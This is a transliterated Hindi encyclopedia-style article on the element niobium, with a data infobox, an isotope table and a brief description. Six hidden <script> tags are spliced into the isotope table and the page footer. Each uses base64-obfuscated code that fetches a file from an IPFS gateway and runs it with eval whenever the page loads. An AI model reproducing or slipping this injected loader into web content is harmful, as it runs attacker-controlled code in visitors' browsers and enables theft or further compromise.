नियोबियम

niyobiyam
sileti dhatu
sadharan gunadharm
nam, pratik, sankhya	niyobiyam, (Nb), 41
hindi nam	kashatu
tatv shreni	sankraman dhatu
samooh, avart, kaksha	5, 5, d
manak paramanu bhar	92.90638g·mol−1
ilektr aaun vinyas	1s2 2s2 2p6 3s2 3p6 3d10 4s2 4p6 4d4 5s1
ilektr aaun prati shel	2, 8, 18, 12, 1
bhautik gunadharm
avastha	thos
ghanatv (nikat k.ta.)	8.57 g·cm−3
galanaank	2750 K, 2477 °C, 4491 °F
kvathanaank	5017 K, 4744 °C, 8571 °F
sanlayan ooshma	30 kilo jool-mol
vashpan ooshma	689.9 kilo jool-mol
vishisht ooshmiy kshamata	24.60 jool-mol−1kilo−1
vashp dab
P (Pa) 1 10 100 1 k 10 k 100 k at T (K) 2942 3207 3524 3910 4393 5013
paramanvik gunadharm
aauksikaran avastha	5, 4, 3, 2, -1 (amliy aauksaid)
ilektronegetiviti	1.6 (pailiang paimana)
ayanikaran oorjaean	1st: 652.1 ki.jool•mol−1
	2nd: 1380 ki.jool•mol−1
	3rd: 2416 ki.jool•mol−1
paramanvik trijya	146 pm
sahasanyojak trijya	164±6 pm
vividh gunadharm
kristal sanrachana	ghan sharir keandrit
chumbakiy kram	parachumbakiy
vaidyut pratirodhakata	(0 °C) 152 nΩ·m
ooshmiy chalakata	(300 K) 53.7 W·m−1·K−1
ooshmiy prasar	7.3 µm/(m·K)
dhvani chal (patali chh d mean)	(20 °C) 3480 m.s-1
yang mapaank	105 GPa
aparoopan mapaank	38 GPa
sthool mapaank	170 GPa
p aauyazan anupat	0.40
mohs kathorata mapaank	6.0
vikars kathorata	1320 MPa
brainal kathorata	736 MPa
si.e.es panjikaran sankhya	7440-03-1
samasthanik
samasthanik pra. prachurata arddh ayu ksharan avastha ksharan oorja (MeV) ksharan utpad 91ka (Nb) syn 6.8×102 y ε - 91Zr<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 91mka (Nb) syn 60.86 d IT 0.104e 91ka (Nb)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 92ka (Nb) syn 10.15 d ε - 92Zr γ 0.934 - 92ka (Nb) syn 3.47×107y ε - 92Zr γ 0.561, 0.934 - 93ka (Nb) 100% 93ka (Nb) 52 nyootr aaun ke sath sthir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 93mka (Nb) syn 16.13 y IT 0.031e 93ka (Nb)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 94ka (Nb) syn 2.03×104 y β− 0.471 94Mo γ 0.702, 0.871 - 95ka (Nb) syn 34.991 d β− 0.159 95Mo γ 0.765 - 95mka (Nb) syn 3.61 d IT 0.235 95ka (Nb)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

niyobiyam (aangrezi:Niobium) avart sarani ka tatv hai. niyobiyam ka pratikanusar 'ka' (Nb) tatha paramanu sankhya 41 hoti hai. niyobiyam ka ilektr aaunik vinyas 1s² 2s² 2p⁶ 3s² 3p⁶ 3d¹⁰ 4s² 4p⁶ 4d⁴ 5s¹ hota hai. niyobiyam ek durlabh, naram, bhoore rang ki sankraman dhatu hai. niyobiyam ka hindi nam kashatu hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>